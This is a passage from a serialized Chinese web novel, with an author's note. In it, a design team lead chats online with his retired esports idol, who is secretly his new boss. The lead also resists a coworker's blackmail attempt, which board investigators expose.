【Execut2:都是薛简在打理】 原来如此。郁思白抿了抿唇。 说不失望是假的,但似乎也还好……毕竟本来也就是可能性渺茫的事儿。 俗话说乐极生悲,郁思白现在是真觉得,自己是不是前两天开香槟开得太过,惹着老天爷的眼了。 ……贼老天。 竖了个中指之后,郁思白接着打字。 【没事儿!卡神你赚到钱就行!】 【Execut2:也没有钱】 郁思白大惊。 【Execut2:养战队】 寥寥七个字,郁思白脑海里顿时响起“小白菜地里黄”的凄清bgm。 养一个电竞战队确实要很多钱。前几年还有个俱乐部老板亏损到裤衩都没了,忍痛转手,净身出户。 平心而论,这些年ICG的成绩确实也不咋地,郁思白一直以为全靠薛简这个富二代养着,而他男神Execut2只需要美美吃分红就行。 没想到赚钱还要靠卖他男神啊! 郁思白端起杯子,一口把剩下的全闷了。 薛老板,你赚钱的手段怎么还不如季老狗啊……卡神现在过得到底是什么日子,打工养ICG吗? 虽然这种猜测听起来有点太惨,但郁思白心里清楚,如果是Execut2的话,还真的有可能。 Execut2会为了电竞做任何事——毫无疑问的。 十年前版号寒冬,无畏契约国服还没有上线,更遑论cn赛区,在当时都是没影的事。国内玩家挂着加速器玩外服,主播们挂着梯子播比赛,还没什么人看。 少年Execut2在EMEA出道,三年效力于三支队伍,斩获四冠,年年转会期挂牌自己,价高者得。 原以为是选手缺钱,直到国内有人爆料,Execut2每年的冠军奖金、转会费分成,绝大部分都投回了国内俱乐部,不只是ICG。 那时候国服迟迟不上线,没有联赛,投资商眼神都不会给你一个,国内许多兴趣使然的小俱乐部摇摆在解散边缘,都是靠着Execut2这笔钱才撑过来的。 老选手们都玩笑说,Execut2像在外拼搏养家的顶梁柱,从寄钱到约训练赛,简直是又当爹又当妈,把他们拉扯大。 Execut2在役的第四年,cn赛区成立,他放弃国外续约的天价薪资,转会回国,成为ICG-Execut2。再之后…… 再之后,在赛区第一场联赛前,毫无预兆地,Execut2因伤退役。 没有发布会,没有退役专访。vctcn的漫漫长夜终于等来曙光,Execut2这个id,却像殉道者一样,猝然消失在黎明前的最后一秒。 退役后的七年里,Execut2人间蒸发,投资的股权也渐渐转手,只剩下个寂寂无名的ICG,干干净净得好像他从没来过。 …… 郁思白看着对话框里Execut2的名字,心底某处忽然被戳了一下。 【卡神,你还记得以前给我借了20万吗】他问。 【Execut2:不是借,是给你的工资】 郁思白笑了一下。 卡神回的几乎毫不犹豫,说明他对这件事、对自己一直都有印象吧。 【在我这儿是借。卡神你之前说让我攒够一百万再还,我马上就攒够了】 【Execut2:自己留着】 1702办公室里,季闻则眉头皱的很紧,复杂的心情,有点像以前看见刚被洗干净的捷风去滚泥汤。 偏偏他拉不住,对面还在滚。 【Respit2:卡神你要是不要的话,我就联系薛老板把钱直接投资给ICG好了】 【Respit2:一百万他应该不会拒绝?】 【Respit2:我也要当老板】 【ICG不赚钱,你会赔本】 季闻则回复一句话,端起杯子喝了三次水。 【Respit2:但卡神,是你说的。梦想就是赔得血本无归也要去做。】 一行字毫无预兆地出现在屏幕上,像城堡尽头那扇禁止打开的门,被充满好奇心的公主猛地推开。 然后窥见了躲藏在里面、早变成只会嘶吼的怪物的勇士。 季闻则脑海里嗡的一下,瞬间只听得到自己的耳鸣声。 【都是小孩儿的话】他说。 【Respit2:对,但我还年轻】 他深而重地吸了一口气,把手机倒扣到桌面上,抬手撑着额头,半晌,耳鸣渐渐褪去之后,才听见笃笃的敲门声。 “……进。”他一开口才发现,自己的声音干涩的可怕。 杨孟越很少敲门这么久都无人应答,带着疑惑推门走进,却被办公桌后老板的脸色吓了一跳。 泼了冰水一样、毫无血色的煞白。 “季总?!”她失声。 季闻则摆手,闭了下眼,抓起杯子抿了口水,才轻笑说:“没事……到时间了是吧。” “对。十二点十分的飞机,车已经在下面等了,大约十一点一刻到机场,二十分的时候还有一个线上短会……”杨孟越几乎是用职业本能脱口而出这些安排,末了还是忍不住问,“需要我调整时间安排吗季总?” 季闻则抬腕看了一眼表:“留五分钟……算了,郁思白那个请假,让人事给他算外勤。” 这么活动两下,他脸上的血色倒也恢复了不少,仿佛刚刚什么都没发生过似的,重新回到办公桌前,拿起倒扣的手机往外走。 他刚要打字,对话框却又马不停蹄地多出很多行。 【Respit2:卡神,你今天有点奇怪】 手机忽然变得很烫手。 【Respit2:我知道卡神你向来来去随意,可能跟我聊天也就是随便解个闷儿,但我真的很开心能再跟你说话,所以,忍不住就想多说一点。】 【Respit2:虽然我不知道卡神是怎么想的……但卡神你对我来说真的,非常非常重要。不只是二十万!】 【Respit2:卡神你以前说,只要能力够强,就有权利随时摒弃不想要的生活。】 季闻则目光一顿,觉得这句话似乎有点耳熟。 【Respit2:我记着的,我把这句话甩给我老板了。】 【Respit2:他脸色好难看,还开始挖那些阴损的坑,他急了。因为他发现他费那么多心思,结果拿捏不住我了】 【Respit2:辞职的事儿我刚刚也好好想过,肯定也还有别的方法,我慢慢想】 还有什么手段。季闻则想。 不……这已经不是重点了。 【Respit2:卡神我就是想说,在你自己都不知道的地方,你真的,一直一直有在帮我。】 【Respit2:看好吧狗老板,这就是Execut2带出来的兵!】 Execut2带出来的兵…… Execut2,带出来的…… 耳鸣残留的不适终于被一阵头疼取代。 季闻则闭眼,抬手,按揉太阳穴,然后回复。 【Execut2:你真棒】 咖啡店里,坐在窗边的青年捧着手机,脊背挺直,眼眶还有点红,目光却是炯炯,背后像有一只热血沸腾的特效光环。 【是的!就知道卡神的话一定会夸我!】他噼里啪啦打字。 【卡神你忙吧,不打扰你了。谢谢卡神开导我。】 【无论你回不回来,看到你很好,我都超级开心!】 发完最后一句话,郁思白霍然起身,手机揣回兜里的动作像收剑入鞘,眼眶边的一点点红彻底散尽了。 他走到前台,又打包了一杯还不错的新品,满血复活,气势汹汹地杀回对面大厦。 只是,刚过了旋转门,郁思白就看见一张笑盈盈的脸。 他现在一点也不会把这张脸和Execut2混为一谈了。哪里像?根本就是毫不一样! 郁思白收回视线,加快脚步,也不躲不避,就这么冷着脸、衣摆带风地和大老板擦肩而过。 反倒是季闻则停了脚步,回头看了一眼,又问杨孟越:“请假?” 杨孟越想了一下:“郁组长很有责任心,大概是想起什么工作没做吧。” “……看着像有什么人还没杀。”季闻则低声说,没再耽搁,只道,“不重要的宴会都推掉,尽量当日来回。” 总觉得,晚回来一点就要出什么事儿了。 “恐怕不行,最早也要周二中午。”杨孟越说。 季闻则没再强求,转而吩咐起其他的事。 杨孟越一一点头记下,下意识又回头,却已经找不到郁思白的身影了。 是错觉吗?郁组长好像,突然很有斗志的样子。 叮。 杨孟越循声看过去,发现是季总那部不常见的手机的提示音。 【Respit2:卡神,我刚猛猛给我老板甩脸子】 【Respit2:就像你夺冠时候给你们那个破经理甩脸色一样!】 他一说,季闻则还真记得这件事。 那赛季呆的俱乐部管理层,有种族歧视倾向,作为队内唯一亚洲面孔,Execut2打出绝对top1的战绩后,以一己之力孤立全俱乐部,联赛后拎着奖杯丢给经理,对方手忙脚乱,掉了奖杯。 ——“赏你都接不住。” 他还记得,少年的Execut2冷着脸用中文这么说。 可后来呢…… 季闻则的手微不可查地顿了一下,片刻后压下心口的不适,斟酌着回。 【做得好。】 于是对面又回了一个快乐小狗表情包,至少看起来心情颇好。 迟疑两秒,季闻则还是删掉了对话框里打了一半的字。 【以前的事少提吧_ 】 光标跳跃着,又一次吃掉了他叫停的机会。 季闻则收起手机,在后座闭目养神。 他陷入梦境,直到车在机场出发层停下,他才猛地惊醒。 大汗淋漓- 郁思白快走到一组办公室门口的时候,路过茶水间,撞到刚从里面出来的高向日。 他手里捧了杯咖啡,看见郁思白手里的,愣了一下说:“组长你……请假买喝的去了?” “顺手。”郁思白吸了下鼻子,嗅到一股绝不属于速溶咖啡的醇香,目光转了一圈,落在茶水间里。 高向日立马侧身让他看:“哦,茶水间周末换了新设备,还有据说质量很好的咖啡豆,可以现磨了……组长你下次要喝咖啡说一声,我可会弄了!” 郁思白可有可无,但点了点头,两人并肩往回走。 高向日察觉到组长心情似乎好了一些,也不多问,兀自念念叨叨地分享。 “哎组长你知道不,财务那边管事儿的被撸到底儿了,以后咱报销应该再也不会被压在二组后面、也没那么多破事儿……感觉新来的季总新官上任,大大小小的,还真给咱改善了不少问题……”高向日突然意识到自己说了什么,立刻收声,侧头看了眼组长面色。 组长微微勾唇,冷笑了一下。 高向日立刻打了个抖,下意识站直,霍然高出他大半个头来。 郁思白瞥他一眼。 高向日便又灵活地落回来,笑了一下,低声问:“组长,你跟季总吵架了?” “我哪配跟他吵架。”郁思白说。 高向日啧道:“那他是不配跟我们组长吵。” “你觉得季闻则和钱远新,哪个好?”郁思白忽然问。 一组、特别是他们资历老的这几个一组的人,嘴上向来没什么不敢说的。 高向日想了下道:“季总吧……组长你觉得呢?” “我觉得这种东西,常换常新。”郁思白说。他没放低声音,语气轻飘飘,却像是意有所指。 高向日愣了,没等反应过来,又郁思白开口。 “如果我辞职……” 他还没来得及说完,就被高向日打断。 “那我跟你单干。”高向日压低声音,说的毫不犹豫。 郁思白侧头:“单干?咱俩谁是能出去拉项目的样子?” “咱有口碑、组长你有口碑啊。”高向日振振有词,“然后再把天骄也拉来,这样跟客户对接的人也有了,再把江勘、小穆……” 郁思白:“你怎么不把一组整个都搬走呢。” “为啥不行?”高向日想也不想地反问,“你都辞职了,我们留着干啥?” 郁思白愣了一下。 高向日像是怕他不信,强调:“我们平时聊天儿都这么说的,真的。” 半晌,郁思白抿了抿唇,不经意地看了眼角落,又向前走了几步,直到进了一组办公室,才压低声音说。 “向日,你抽空告诉杨姐……” 高向日眼睛缓缓睁大- 季闻则不在公司的日子,郁思白觉得空气都清新了。 周二午休快结束的时候,提前醒来的郁思白悄声走出办公室,还没拐进茶水间,就听见里面人的笑声。 “你别说,季总真的舍得花钱,这豆比我买来送人的还好。” “行政上效率也高了你觉得没,上周我就发现了!” “我听说,季总还准备往上提一提年终奖……” 郁思白走进茶水间。 原本在的那几人一见他,下意识收了声,似乎郁思白是什么听见噪音就要吃人的家伙。 郁思白没管,他自然乐得不跟同事聊天,冲了包速溶,等水的时候拿出手机,点开置顶对话框。 【卡神,我老板真的很会邀买人心/严肃.jpg】 【喝了杯现磨咖啡,年终奖这种画饼的事儿他们也信了?】 【咱俩要是有他一半功力……卡神,我们就可以去当大老板了。】 发完消息,郁思白往上翻了翻聊天记录。 短短一天时间,新增聊天记录就已经是前面七年的整整八倍! 二十页。 整整二十页! 基本只要他发了消息,卡神过一会儿就会回复,虽然时常都是短短几个字,但一点都看不出敷衍。 Execut2的字典里没有礼节性回复,他是真的想和自己聊天才回的,郁思白再清楚不过。 他猜测,因为卡神也不是喜欢交朋友的人,或许他现在愿意说话的人里,只有自己一个社畜,两人比较有共同语言吧。 郁思白从没想过自己也会有跟Execut2“是更亲近者”的一天,嘴角忍不住上翘了些。 原本站在他附近的几人见状,顿时推推搡搡,作鸟兽散。 然而这些郁思白都没看到,他现在只看得见Execut2的回复。 他似乎也是午休刚起,几乎秒回。 【Execut2:有道理,我去学学】 郁思白顿时大惊失色。 【??不行啊卡神你可不能变成那个样子】 对面“正在输入”了一会儿,什么都没憋出来。 郁思白说。 【卡神你就是最好的,你千万别变成任何人,你不需要!】 片刻,对面回复。 【好,Execut2不会。】 郁思白微微侧头,第一眼觉得这句的措辞方式有点怪,还没多想,就听到身后传来一个声音。 “郁组长,在忙吗?” 他回头,看见钱翀站在门口,和他对视上之后,笑了一下,反手关了茶水间的磨砂玻璃门。 郁思白怕男神久等,草草回了一句【来了个烦人同事,卡神稍等】,便收了手机。 “有什么事,钱组长。”郁思白冷淡,端起自己的杯子,抽了根搅拌棒放进去,叮叮当当地响起来。 钱翀微笑,只是比起季闻则那副面具,显然还差了点火候,让郁思白一眼看得出他心口不一。 “郁组长,我们也是不少年的同事了,知根知底,彼此间也还相处的不错……” “不错?”郁思白挑眉看他。 钱翀耸肩:“至少我没在公司让你红过脸吧,郁组长。” 这话一出,郁思白就知道他在暗指什么了,但权当不知,只说:“嗯。” 这倒是真的。因为以前只有他骂钱翀叔侄的份,红脸的,也只有他们二人。 实在是段位差距摆在这里,郁思白想红都红不了——当然,这也是他能忍钱远新这么久的原因之一。 郁思白后腰靠上茶台,拎出一次性搅拌棒扔了,兑了些凉水,单手揣兜,抿了口咖啡问:“你想说什么。” 钱翀道:“我也不弯弯绕绕了。郁组长,昨天上午你和季总起矛盾了吧……还是不可调和的矛盾?我说的对吗。” 他笑着,一副运筹帷幄、世外高人的样子,看向郁思白的眼神里满是自信。 这倒是让郁思白心里多了两分警惕。 在钱远新调走后,钱翀已经很久没有露出过这种胜券在握的神情了。 虽然说……即使以前他摆出这副样子,也不是百分之百都能赢就是了。 郁思白想了一下,反问:“和你有关么?” 钱翀摇摇头说:“郁组长,我都听见你说了——‘老板常换常新’。真巧,我也这么觉得。” “你不会想让钱远新调回来吧?”郁思白挑眉。 “当然不是。”钱翀压了压眉,一副你把我看得太轻的神情,说,“叔叔是平级调任到首都总部,严格来说算是升迁,咱们做下属的,哪能断人家的大好前程?” “郁组长,我这里有一个人选……你不需要为此做什么,只需要在一些恰当的时机表示赞成,你的愿望就能实现了。” 他见郁思白一直没说话,只垂眸若有所思,便接着换上一副苦口婆心的语气道。 “你不了解总部,或许不知道。季总不是一个好相与的人。你把他得罪了,恐怕以后都落不得好——倒不如搏一把,跟我一起先讨下一位的彩头。” 说到这儿,郁思白终于忍不住笑了一下。 “钱翀。”他说,“我看起来和你一样傻吗?” 钱翀顿时挂不住笑容,冷道:“郁组长,你不要敬酒不吃吃罚酒。” “所以?”郁思白一杯咖啡喝完,打开水龙头冲洗杯子,不经意道,“你有什么罚酒给我吃?” 钱翀冷笑一声,也不多说,从口袋里拿出一支录音笔,按下播放键。 “你觉得季闻则和钱远新哪个好?” “常换常新……” “辞职……” “我跟你单干!” 赫然是昨天他和高向日在无人走廊的对话。 郁思白站直了些,掌心覆在大理石茶台上,眉宇压低。 钱翀见状,勾唇道:“郁组长,如果我把这份录音交到总部,我照样可以讨季总的好,但你呢?” “你或许可以不在意你自己,但是你的组员呢?高向日、武天骄……不都是被你一手扒拉出来的吗?” “还想粉饰太平吗郁组长。你和季总闹掰的事儿,已经传得全公司都知道了。你来茶水间之前他们在聊什么,以你的聪明,不会猜不到吧?” “且不说总部是季总的大本营,现在叔叔也在那边,想让这条录音发酵起来,太简单了……” 始终没说话的郁思白忽然开口。 “所以,当年你们也是这样处理掉上一任一组组长的?” 钱翀愣了一下,回忆片刻才道:“唔,你说高向日的前上司?”他笑了一下。 “郁组长平时不喜欢听八卦,没听说也正常,不是什么秘密,只是他们传了也没人会信……” 他不急不缓地,把前因后果简单说了,大约是为了有威慑力,个别段落还讲的格外绘声绘色。 “原来如此。”郁思白说,“这也能瞒下来……钱远新还真是手眼通天。” 钱翀只当他这是示弱,笑意更深,上前一步道:“一组组长的下场我想你也不想看到——我也不想看到。郁组长,我们和气生财?” 郁思白垂眸看他。 突然,不急不缓的“笃、笃”两声响起。 是茶水间的门被敲响。 钱翀脸色唰地一变,没等他开口,郁思白抬高声音先道。 “进。” 茶水间的门被从外推开,站在最前面的是两位陌生西装男,两人一言不发地走进来,露出身后含笑靠近的男人。 郁思白看了季闻则一眼,就移开视线。 烦人,懒得看。 其中一个西装男走到钱翀面前,肃然道:“钱组长,你可以为你刚刚说的话负法律责任吗?” 钱翀脸色更白:“你们是谁……” 另一人亮出工牌,沉声:“我们受董事会委托调查钱远新,请配合。” 钱翀猛地吞咽了一下口水,猛地抬手,用发抖的食指指向郁思白,已经顾不得控制音量。 “他呢!他在公司散播对季总不利的言论,还、撺掇下属和他一起集体辞职……你们不管吗!” 亮工牌的西装男微微皱眉,看向郁思白。 郁思白抿了抿唇,心头转了一圈,正要开口,却听一个声音先他一步响起。 “等等。” 季闻则上前一步,惯常带笑的脸上难得敛了笑容,垂手站着。 郁思白的目光在那张不带半点温和脸上凝住。 他骤然想起Execut2。那张仿佛含着霜的脸,会冷声斥责所有不公,有一颗柔软的赤子之心,和挺直的、仿佛什么也打不断的脊骨。 ……可季闻则呢。哪怕板着脸,也是只画虎不成。 郁思白在心里嘲笑自己又忍不住看老板这张白月光脸了,压下情绪垂眸。 可下一秒,季闻则突然向他微微欠身。 郁思白瞳孔微缩。 季闻则低着头,郁思白只能看见他垂下、遮住视线的睫毛,看不清那双眼睛里,到底含着怎样的情绪。 季闻则说:“郁组长,我郑重向你道歉。” 郁思白只觉得大脑被重重敲了一下,下意识后退半步,后腰再次抵住冰冷的茶台,凉意顺着衬衫在腰间蔓延,直把他钉在原地。 大约五秒后,季闻则直起身来,对西装男道:“是我先让他误会,郁组长对我有怨言也属正常……” 他看向郁思白,看了两秒,凝成霜的眉眼忽然被一个浅淡的笑容吹化。 “郁组长有什么不满,都可以向他们提,我随时都受他们监管。” 其中一个西装男递给他一张便利贴,上面写着一个号码。 “可以联系我。”他说。 郁思白哑然接过,一言不发。 西装男没再多说,只拍拍钱翀的肩膀示意跟他们走。 “季总,借用一间会议室。” 季闻则让赵秘书带人上了楼。 郁思白抬头,才发现门外不知何时、稀稀拉拉围了一小圈看热闹的人。在杨孟越上前无声驱赶后,才渐渐散了。 墙上挂钟显示午休时间已经结束,茶水间重新空旷起来,极其安静。 只剩面对面站着的两人。 熟悉的站位让郁思白想起上周自己在茶水间,这人站在门边、笑容优雅得体,开口却就是逗他。 人是什么时候突然变坏的呢?郁思白想。 又或者从一开始,他就不是什么好人。 季闻则侧目看向郁思白:“郁组长,跟我……” 他本想把人叫去1702,话到嘴边却又改口。 “方便让我去一组会客室吗?”他问,“我们聊聊。” 郁思白看了他两眼,转身道:“跟我来。” 他推开一组会客室的门。 午后阳光温和地洒落,居家风格的装潢确实让人下意识放松,在沙发坐下后,季闻则忽然就想起郁思白在饭局上说的,“设计的温度”。 “有什么事吗,季总。” 郁思白先开口了,他坐在季闻则对面,双腿交叠,手交握放在大腿上,气势丝毫不落下风,目光却难掩复杂。 “是你让高向日提前告诉杨孟越的吧。”季闻则说,“我承你这个情。” “不用。”郁思白说,“我只是为了向日。”和你屁关系没有。后面一句粗糙的话,他咽了下去。 “论迹不论心。”季闻则垂眸笑了一下,缓声说:“在外面不方便细谈。我是想说,合同的问题,我周五确实没有考虑到。无论你信不信,请允许我为自己辩驳这句——当然,我的道歉也是真心。” “真心”这个词从他嘴里说出来,本来应该让人觉得可笑,但他此刻目光却实在真诚。 季闻则看着他,银丝框镜之后的目光从未被人看得这么清晰。 “抱歉。”他说,“虽然并非我本意,但误会因我而起,也让你产生了困扰。我该道歉。” “周一就想说的,但……赶飞机,没来得及。” 郁思白皱了下眉,似乎不太适应。 他心里松动了一下,但也只是一瞬。 他被骗的可不少了。 “无所谓了。”郁思白说,“反正你也没打算放我走不是么,有什么区别。” 季闻则含笑看着他,摇头:“郁组长,如果你愿意的话,我们周五达成的口头约定仍然有效。” 郁思白顿了一下才反应过来,他说的是辞职的一月之期。 眉头唰地皱起,郁思白半点没拐弯,直接问:“你还留了什么后手。” 季闻则没有反驳他的话:“郁组长还记得……跟衡蕴段总吃饭的时候,他提到的游戏嘉年华场馆设计么?” 郁思白交握的手不自觉用力,很快在被察觉前重新放松:“如果你想用这个项目来挽留我,那抱歉了,我现在对此兴趣有限。” 他也不是假话。当时想做这个项目不说全部,但至少七成是图一个和Execut2的见面。 如今他都跟卡神聊上微信、也确定对方不会参加……那可就没那么迫切了。 季闻则顿了顿:“郁组长比我清楚,做好了,这是个可以送奖的项目。庭季和你,都缺一个奖项。” “不是说公司发展计划里没有么。”郁思白不为所动,仍旧淡淡。 “和公司无关。”季闻则说,“我说的庭季,是指庭季总部。我们会支持你以个人名义参选——这件事我周末就在推进,这是我的诚意,你可以问杨总助。这次回京,也是为了把这事敲定下来。” 个人名义参选……玩这么大? 郁思白抬眸看他,不躲不避,半晌说。 “虽然不知道季总又有什么计划,您告诉我也好,瞒着我也罢,但既然是你提出的需求,那我也有我的要求。” 季闻则颔首:“你讲。” “个人名义参选就算了。”郁思白说完,敏锐察觉到季闻则眉头微动,那是一个计划外的表情。 郁思白挑了挑嘴角。 “我要一组——不是‘庭季室内设计公司设计部一组’。”他说。 “是我的一组。” 一时间无人说话,门窗紧闭的室内空气沉闷,只响起钟表滴答的声音。 片刻后,季闻则换了个坐姿,俯身双手交握问:“你要一组以独立团队名义参选?” “对。”郁思白微抬下巴,敛眸。摆明了不在意季闻则的沉默,不在意他要为此多出多少麻烦,甚至不在意他是否应允。 “不用着急给我答案,季总。”他轻飘飘笑了一声,眼底却没什么笑意。 “可以。”季闻则的声音响起。 郁思白目光微凝,控制着自己的眼神,没有一副惊讶的样子霍然看过去。 季闻则叹出一口气,温声说:“你开了口,我都可以给你争取。” 他不会不知道这意味着什么,可还是答应的这么轻易。 为什么。 郁思白垂在身侧的手骤然攥紧,半晌,才缓缓松开。 “这是季总想出来的曲线救国新方案么?”他问。 却没成想,季闻则竟然点头点得毫无压力。 “嗯。”他笑了一下,说,“但不是为了把你绑去当总监……这么看着我做什么,不信?” 郁思白收回视线,向后靠进沙发椅背:“不好意思,我听狼来了的故事长大的。” 季闻则抿唇,无奈道:“那就一直这么防着?不累么。” “累什么。”郁思白淡淡,“来一批打一批的事。” 他眸光一转,天生较淡的眉毛轻轻扬起,季闻则才发现,青年的瞳孔颜色比常人要淡一些,因而容易显得凶且冷淡。但真的笑起来,这双颜色浅淡的眼睛,又会像梨涡一样染上温暖的色泽。 郁思白就这样和季闻则对视,目光不是很重,却很沉稳,语气平缓道:“季总,现在不想让我走的是你。该怕狼来了的……也是你吧。” 一瞬间,攻守易势。 季闻则忽然怔忪,看着他,只觉得像看见了一个小将军,银甲闪着凛凛寒光,鲜红的披风猎猎,再山腰挽剑勒马,垂眸俯视着自己,仿佛天地都为他做配。 看了片刻,季闻则才移开视线,轻笑着叹出一口气。 “如果我一开始就跟你说——”他张了张嘴,却半晌没想出措辞,忽地哑然。 要袒露真心的时候,他竟然连真心都表达不出来。 “一开始就直接跟我坦诚相待吗?”郁思白替他补完了这句。 “嗯。”季闻则垂下眼睛,指节拨弄了一下桌面上粘着的摇头向日葵,看着它扬着笑容、却焦急又躁动。 “你不会。”郁思白说,“我也不会信。事实上,我现在也不尽信你,你就是‘狼来了’本身,季总。” 向日葵缓缓停下了摇摆,只剩一脸僵硬的笑。 季闻则哑然:“对,你说的没错。” 他收回拨弄向日葵的手,直起身看向他,温声说。 “但我想,至少我们之间有一件事是可以互相信任的。” “什么。”郁思白问。 “我相信你能用出十二分的能力去争取这个项目。” “也请你相信,我会拿十二分的真心去帮你争取这个团队的可能。” 两个人隔着一张茶几对视。茶几是郁思白特意选择的不规则圆弧型,线条弧度流畅,没有任何棱角,木质温润,胡桃木的色彩也令人沉静舒心。 “好。” 终于,郁思白点了头,末了又说:“但我还有一个要求。” “明天下午藤竞会有一个为项目团队举办的分部开放日……” 季闻则失笑:“郁大主播还需要去?” 郁思白冷冷睥他一眼:“季总,工作请称职务。” “抱歉。”季闻则也是能屈能伸,立刻向他低头,仿佛先前在外面的那一个弯腰,把他的老板包袱都掉了一地。 “如果你想去的话……” “不是我。”郁思白说,“是你,季总。” “我的要求是,你跟我一起去参加开放日。” “郁组长,我很难抽出这么多时间。”季闻则无奈道,“你才是设计团队,我也不需要去吧。” 郁思白一扯嘴角,藏在颊边的梨涡半点影子都没有,露出一个标准的冷笑。 “季总,虽然你很会胡扯,但我希望你在向总部争取的时候,不要说出‘小众项目、关注度低、赚不到钱、打不出名气’以及,‘不值当做’。” 这是把饭局上他说的话,基本一字不差地打回来了。 季闻则抿了下嘴唇,眉眼弧度落下来,思考着说:“但时间太紧,名额恐怕……” “我来。”郁思白开口堵住了他最后一条活路,“季总也知道我私底下是干什么的,拿两个名额而已,我自有办法。” 他说着正常的话,语气却显出一种“我私下可是鲨人狂魔”的冷厉。 季闻则一抿唇,终于说:“如果你能弄到两个名额的话,随你。” 他当然知道临时想弄名额有多难,不然也不会以Execut2的身份向res开那个口,毕竟奇货才可居。 只要他回去问的时候,Execut2不开这个口就行。 离开一组会客室的时候,季闻则想。 哪知道短短两小时后,甚至还没到下班时间,杨孟越就敲响了1702的门。 季闻则心里没由来一个咯噔。 杨孟越笑着说:“季总,刚刚碰见郁组长,他让我转告您,事情已经办妥了,麻烦您明天下午腾出时间。” 季闻则下意识看了眼自己亮都没亮一下的生活用手机。 就这么一眼,遥控似的,屏幕亮了起来,显示有新的微信消息。 他走过去,脚步不自觉快了些。 点开一看。 薛简。 【耶咦?这谁啊,诶呦,Execut2老爷!】 【res~来找我~帮忙咯~】 【俩开放日名额换我签res一年主播约,这不是赚翻了?res一年流水多少你知道吗?唉算了,Execut2老爷肯定不感兴趣。】 【事儿确实不好办,我这刚开车亲自去了趟藤竞,腰酸腿疼的,res说改天来慰问我、顺便把合同签了呢】 【Execut2老爷,加班儿呢?】 【凉凉月色为你思念成河~】 【噗嗤.jpg】 【白月光,你这也不行啊/小丑.jpg】 【不过等等,他问我要了俩名额,不是,他要跟谁去啊?】—— 作者有话说:营养液加更(0/3),作收4000加更(1/1) 更新时间暂定为每晚23点,日六,尽力加更。 这么多读者宝贝来看,意外之喜。评论我大致都有看到,码字已经消耗了我绝大部分可支配时间,因此不能一一回复,请见谅。大家对两位主角的关心、担忧和质疑我有了解,作为故事讲述者,我替他们部分接受,剩下一部分锅在我,讲故事的水平有待提升,未来会努力认真更新,争取把故事以越来越好的方式带给大家。谢谢大家真情实感的评论!明晚见~ [猫爪] 第26章 季闻则看完失笑, 回他。 【他没跟你说?】 晚一点的时候,看到消息的薛简直接一个电话打了过来。 “忙着呢?季总?”他语气很拽。 “加会儿班。”季闻则说,“稍等一下。” 他翻完面前的文件, 合上笔盖推开,伸了个懒腰, 揉了揉泛酸的脖颈。 “来跟我打听消息吗?这也值得薛老板一个电话?” “哎, 我不是来跟你讨论他约谁的!”薛简道。 “我就是跟你说下,res好像真的挺想搞这个项目的,不然以他的性格,不会轻易开口找我帮忙。foun神那边不是也正好在争取场馆吗?估计也差不多要定下了吧,他肯定更倾向找熟悉的人设计……” 薛简长篇大论了一串,说的口干, 季闻则给自己添了杯茶,站到窗边道:“你想劝我让他做这个项目?” “诶诶, 对。”薛简说, “你都升职成大老板了,反正也不是你去做嘛, 就挂个你庭季的名儿,也不用你去现场看年轻人一个个意气风发的,也不会南村群童欺你老无力……” 季闻则一哂:“你这是准备拿话把我扎死,好让res再没人管着, 随便想做什么做什么?” 把人冒犯一通后, 薛简乐道:“看你敢用Execut2的名头打电话, 还以为你去京市进修几年释然了呢。” “唔。”季闻则抿了抿唇,沉吟片刻说。 “说实在话,后悔了。” 薛简新奇:“退役都没见你后悔……后悔啥,让Execut2诈尸?” “后悔那天去KTV。”季闻则说, “酒精误事儿。” “你也没喝啊。”薛简这下是实打实的诧异了。 季闻则垂眸看着楼下的车水马龙,拢了下垂到眼前头发,低声道。 “是啊,喝的也不是我。” “所以是怎么回事呢?你看你这事儿闹的。”薛简道,“人家一个平a你把大都开出来了,现在好了,白月光上号都没辙了吧。res有事儿还是找我,唉季闻则啊……要我说你们瓦批还是不如我们撸狗……也不对,你已经是现充了。” “现在?”季闻则轻笑了声,“谁说我没辙。” “前面错多了,后面谨慎点,答个全对不就是了。” “切,说的这么轻巧……等下,什么意思?”薛简嘲笑到一半,忽然顿住,心里有点不好的预感。 季闻则悠悠叹了口气:“明天开放日,他是要带我一起去的。” 电话那头陷入长久的沉默。 就在季闻则以为等不到回复的时候,薛简拖着嗓子,几乎破音地出了声。 “……哈?!” “嗯。”季闻则说,“场馆项目的事,我已经答应他参选了。” 薛简又沉默半晌,忽然冷不丁问:“你都答应了,那他还带你干嘛?” 这问题一语中的,季闻则敛了笑容,低眉想了片刻。 “我猜大概是……接受教育?” 几乎是话音刚落,办公室的门就被敲响。季闻则回身,见杨孟越拿了份文件放到了办公桌上,神情复杂,有点想笑但忍着的意思。 “什么。”季闻则问。 “郁组长刚刚送上来的……”杨孟越想了一下,最终还是原封不动地转述了郁思白的话。 “给您的教材。” 杨孟越声音不大不小,却正好能被电话那边听个一清二楚。两秒后,季闻则就听见薛简传来一阵连声的爆笑。他轻啧一声,道了声“你悠着点”就挂了电话。 他走到桌边拿起“教材”,示意杨孟越继续说。 想到郁思白上来时严肃的面容,杨孟越不由得也正色道:“郁组长说,他会全力以赴准备这个项目,也希望您能……咳,不拖后腿。” 杨孟越发现昨天这两人隔空爆发了一场大矛盾之后,倒是变了不少。 “季总,您和郁组长谈妥了?”她多问了一句,说,“郁组长好像没有以前那么……” “没以前那么警惕?”季闻则替她补上修辞,哑然笑道,“他可不是不警惕了,聪明着呢。” 发现警惕没什么用,索性改成大开大合的打法,甚至有点自/杀式袭击的意思。 现在的郁组长,已经不是以前那个发现被逗弄、却只会放狠话的郁组长了。 季闻则翻了翻,陌生的、熟悉的各种名词混杂着,一下子冲击他的大脑,让他不免顿了顿,下意识要合上,但指尖捏着纸张犹豫两秒,还是往下一页翻去。 “郁组长下班了?”一边翻,他一边问。 杨孟越给了肯定的答复。 季闻则看了眼表,八点刚过。 “这儿没什么事了,你下班吧。”他说完,等杨孟越关好门离开,目光在教案和其他文件之间左右瞥了两眼,最后还是拿着教案坐到了窗边沙发上。 总经理办公室的沙发,好像确实没有一组会客室的舒服。他忽然想。 庭季总公司主业是建材,即使现在他本人调到旗下的设计公司,季闻则也始终觉得装修这种事,没有那么多讲究。 不管是原先在国外,还是现在独居豪宅,他生活的地方始终是极简样板间风格,一直以来也没觉得有什么不好。 现在坐在办公室,倒是挑拣起来了。 他在心底笑了自己一下,重新把专注拉回到面前的文件上。 薄薄四页纸,季闻则本来以为没什么内容,但细看才发现,郁思白在纸质版文件里塞了无数个“压缩包”。 